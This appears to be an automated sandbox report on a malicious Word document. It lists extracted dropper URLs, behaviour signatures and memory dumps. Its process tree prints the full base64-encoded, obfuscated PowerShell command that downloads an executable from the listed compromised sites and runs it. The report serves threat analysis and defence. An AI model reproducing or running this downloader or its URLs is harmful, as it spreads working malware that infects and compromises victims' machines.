Analysis
- max time kernel
143s - max time network
126s - platform
windows10-2004_x64 - resource
win10v2004-20240419-en - resource tags
- submitted
02/05/2024, 07:00
General
- Target 0dd168fd6784d866393e3c47ef1d8185_JaffaCakes118.doc
- Size 158KB
- Sample240502-hsvypsbh2w
- SHA256 61bc4a7eec2f1f25d62b78ce3e921f8ee133898d94e02261c5daf71e50b49947
Malware Config
Extracted
-
ps1
-
exe.dropper
http://wynn838.com/wp-content/enE/
-
exe.dropper
https://sertres.com/ivmej/p/
-
exe.dropper
https://viaje-achina.com/wp-admin/aG/
-
exe.dropper
https://aszcasino.com/aszdemo/AGA/
-
exe.dropper
https://bintangremaja.com/wp-content/U/
-
exe.dropper
https://phongkhamthaiduongbienhoa.vn/wp-admin/Z/
-
exe.dropper
http://hk.olivellaline.com/gbi1e/2/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 7 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0dd168fd6784d866393e3c47ef1d8185_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e JABGAHoAcABuAGIAMwBrAD0AKAAnAEYAJwArACgAJwA2AG8AJwArACcAcQBvAGUAJwApACsAJwAzACcAKQA7AC4AKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgB2ADoAVQBTAEUAcgBQAFIAbwBGAEkATABFAFwAVABwAHoANABTAFEAMQBcAFgAQwBJAGIAMwBnAHQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIARQBDAFQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABlAEMAdQBgAFIAaQBUAHkAUABSAGAATwB0AE8AYwBgAG8AbAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAJwApACsAKAAnADIALAAnACsAJwAgAHQAbABzADEAJwApACsAKAAnADEALAAgACcAKwAnAHQAbAAnACkAKwAnAHMAJwApADsAJABUAG0AZwB6AHkAZgBfACAAPQAgACgAJwBNACcAKwAoACcAbwB0ADYAJwArACcAMABuAGUAcgAnACsAJwBhACcAKQApADsAJABJAGwAMQBfAHAAdQA0AD0AKAAoACcATQAwADIAJwArACcAdwAyACcAKQArACcAXwAnACsAJwBlACcAKQA7ACQAWAAxAGIAaABuADkAYgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnADYAJwArACcAbwBuAFQAJwApACsAKAAnAHAAegAnACsAJwA0ACcAKQArACcAcwAnACsAKAAnAHEAJwArACcAMQA2AG8AJwArACcAbgBYAGMAaQBiACcAKQArACcAMwBnACcAKwAnAHQAJwArACcANgAnACsAJwBvAG4AJwApAC4AIgByAGUAUABgAEwAQQBDAGUAIgAoACgAJwA2AG8AJwArACcAbgAnACkALABbAFMAVAByAGkAbgBHAF0AWwBDAEgAYQBSAF0AOQAyACkAKQArACQAVABtAGcAegB5AGYAXwArACgAKAAnAC4AJwArACcAZQB4ACcAKQArACcAZQAnACkAOwAkAFAAeABiAGoAdgAzAGsAPQAoACgAJwBQACcAKwAnAG8AeAAnACkAKwAnAHoANwAnACsAJwA2AHUAJwApADsAJABNAG4AbQBtAGMAYwAwAD0AJgAoACcAbgBlACcAKwAnAHcALQBvAGIAagBlACcAKwAnAGMAJwArACcAdAAnACkAIABuAGUAVAAuAFcAZQBCAEMATABpAGUATgB0ADsAJABSAGoAYwBlADQAdgA0AD0AKAAnAGgAJwArACcAdAAnACsAJwB0AHAAJwArACcAOgAvACcAKwAoACcALwB3ACcAKwAnAHkAJwApACsAKAAnAG4AbgAnACsAJwA4ACcAKQArACgAJwAzADgALgAnACsAJwBjAG8AbQAvAHcAJwArACcAcAAtACcAKwAnAGMAbwAnACkAKwAoACcAbgB0ACcAKwAnAGUAJwArACcAbgB0AC8AJwApACsAKAAnAGUAbgAnACsAJwBFACcAKQArACcALwAnACsAKAAnACoAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAcwAnACsAJwA6ACcAKQArACgAJwAvACcAKwAnAC8AcwBlAHIAdAByACcAKwAnAGUAcwAnACkAKwAoACcALgBjACcAKwAnAG8AJwApACsAKAAnAG0ALwAnACsAJwBpAHYAJwArACcAbQBlAGoALwBwAC8AKgBoACcAKwAnAHQAdAAnACkAKwAoACcAcABzADoALwAvACcAKwAnAHYAJwArACcAaQAnACkAKwAoACcAYQBqAGUAJwArACcALQBhACcAKQArACcAYwBoACcAKwAoACcAaQAnACsAJwBuAGEAJwApACsAKAAnAC4AYwBvACcAKwAnAG0AJwApACsAKAAnAC8AdwBwAC0AYQBkAG0AaQBuAC8AYQBHAC8AKgAnACsAJwBoACcAKwAnAHQAdAAnACsAJwBwACcAKwAnAHMAJwArACcAOgAnACsAJwAvACcAKwAnAC8AYQBzAHoAJwApACsAJwBjAGEAJwArACcAcwAnACsAJwBpACcAKwAoACcAbgBvAC4AYwBvACcAKwAnAG0ALwAnACsAJwBhACcAKQArACcAcwB6ACcAKwAnAGQAJwArACgAJwBlACcAKwAnAG0AbwAvACcAKQArACgAJwBBAEcAQQAnACsAJwAvACoAaAB0AHQAcAAnACkAKwAoACcAcwA6ACcAKwAnAC8ALwBiACcAKQArACgAJwBpACcAKwAnAG4AdABhACcAKQArACcAbgBnACcAKwAoACcAcgBlAG0AYQBqACcAKwAnAGEALgBjACcAKQArACgAJwBvACcAKwAnAG0ALwB3ACcAKQArACgAJwBwAC0AYwBvAG4AJwArACcAdABlAG4AJwArACcAdAAnACkAKwAnAC8AJwArACgAJwBVAC8AJwArACcAKgBoACcAKQArACgAJwB0AHQAcABzADoAJwArACcALwAvACcAKQArACgAJwBwAGgAJwArACcAbwAnACkAKwAoACcAbgBnACcAKwAnAGsAJwApACsAJwBoACcAKwAoACcAYQBtACcAKwAnAHQAJwApACsAJwBoACcAKwAoACcAYQAnACsAJwBpAGQAdQBvACcAKwAnAG4AJwArACcAZwBiAGkAJwArACcAZQAnACsAJwBuACcAKwAnAGgAbwBhAC4AdgBuAC8AdwBwAC0AJwApACsAKAAnAGEAZAAnACsAJwBtAGkAbgAvACcAKwAnAFoALwAqAGgAJwApACsAKAAnAHQAdABwADoALwAvACcAKwAnAGgAawAuAG8AJwArACcAbAAnACsAJwBpACcAKQArACgAJwB2ACcAKwAnAGUAJwArACcAbABsAGEAbABpAG4AZQAuAGMAbwBtACcAKQArACgAJwAvACcAKwAnAGcAYgAnACkAKwAnAGkAJwArACcAMQAnACsAKAAnAGUALwAnACsAJwAyAC8AJwApACkALgAiAFMAcABgAGwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASgAwAHEAXwBiAGgAcQA9ACgAJwBRAGIAJwArACcAeAA1ACcAKwAoACcAZAAnACsAJwA2AHkAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABBAHEAZwBsAGoAeABmACAAaQBuACAAJABSAGoAYwBlADQAdgA0ACkAewB0AHIAeQB7ACQATQBuAG0AbQBjAGMAMAAuACIAZABPAHcAbgBgAEwATwBgAEEARABGAGkAYABMAGUAIgAoACQAQQBxAGcAbABqAHgAZgAsACAAJABYADEAYgBoAG4AOQBiACkAOwAkAFMAYQAzAHMAcQAyAHMAPQAoACgAJwBBAGwAJwArACcAcAAnACkAKwAoACcAYgA5ACcAKwAnAGQAJwApACsAJwBxACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACAAJABYADEAYgBoAG4AOQBiACkALgAiAEwAYABlAG4AYABHAFQASAAiACAALQBnAGUAIAAzADIANwA0ADIAKQAgAHsAJgAoACcASQBuAHYAbwBrACcAKwAnAGUALQBJAHQAZQAnACsAJwBtACcAKQAoACQAWAAxAGIAaABuADkAYgApADsAJABWAGoANAB0AGUAOABuAD0AKAAnAEUAJwArACgAJwB3ACcAKwAnAHQAZgBxACcAKQArACcAbAAxACcAKQA7AGIAcgBlAGEAawA7ACQAQwAwADcAYwBjAHMAdwA9ACgAJwBZADAAJwArACcAMQAnACsAKAAnADQAbwAnACsAJwA4AHUAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFoAcABrAHcANwBhAHYAPQAoACcASwAnACsAKAAnAGsAJwArACcAagBmADAAbgB2ACcAKQApAA==1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
gb.xsl
__PSScriptPolicyTest_qtfyppmx.5b0.ps1
Mot60nera.exe
memory/1320-15-0x00007FFF7D450000-0x00007FFF7D460000-memory.dmp
memory/1320-25-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-6-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-5-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-7-0x00007FFF7F9D0000-0x00007FFF7F9E0000-memory.dmp
memory/1320-9-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-8-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-10-0x00007FFF7D450000-0x00007FFF7D460000-memory.dmp
memory/1320-11-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-12-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-27-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-16-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-19-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-18-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-17-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-0-0x00007FFF7F9D0000-0x00007FFF7F9E0000-memory.dmp
memory/1320-4-0x00007FFF7F9D0000-0x00007FFF7F9E0000-memory.dmp
memory/1320-13-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-14-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-608-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-607-0x00007FFF7F9D0000-0x00007FFF7F9E0000-memory.dmp
memory/1320-1-0x00007FFF7F9D0000-0x00007FFF7F9E0000-memory.dmp
memory/1320-2-0x00007FFF7F9D0000-0x00007FFF7F9E0000-memory.dmp
memory/1320-566-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-567-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-568-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/1320-604-0x00007FFF7F9D0000-0x00007FFF7F9E0000-memory.dmp
memory/1320-3-0x00007FFFBF9ED000-0x00007FFFBF9EE000-memory.dmp
memory/1320-606-0x00007FFF7F9D0000-0x00007FFF7F9E0000-memory.dmp
memory/1320-605-0x00007FFF7F9D0000-0x00007FFF7F9E0000-memory.dmp
memory/3948-583-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/3948-569-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp
memory/3948-64-0x000002606A480000-0x000002606A4A2000-memory.dmp
memory/3948-63-0x00007FFFBF950000-0x00007FFFBFB45000-memory.dmp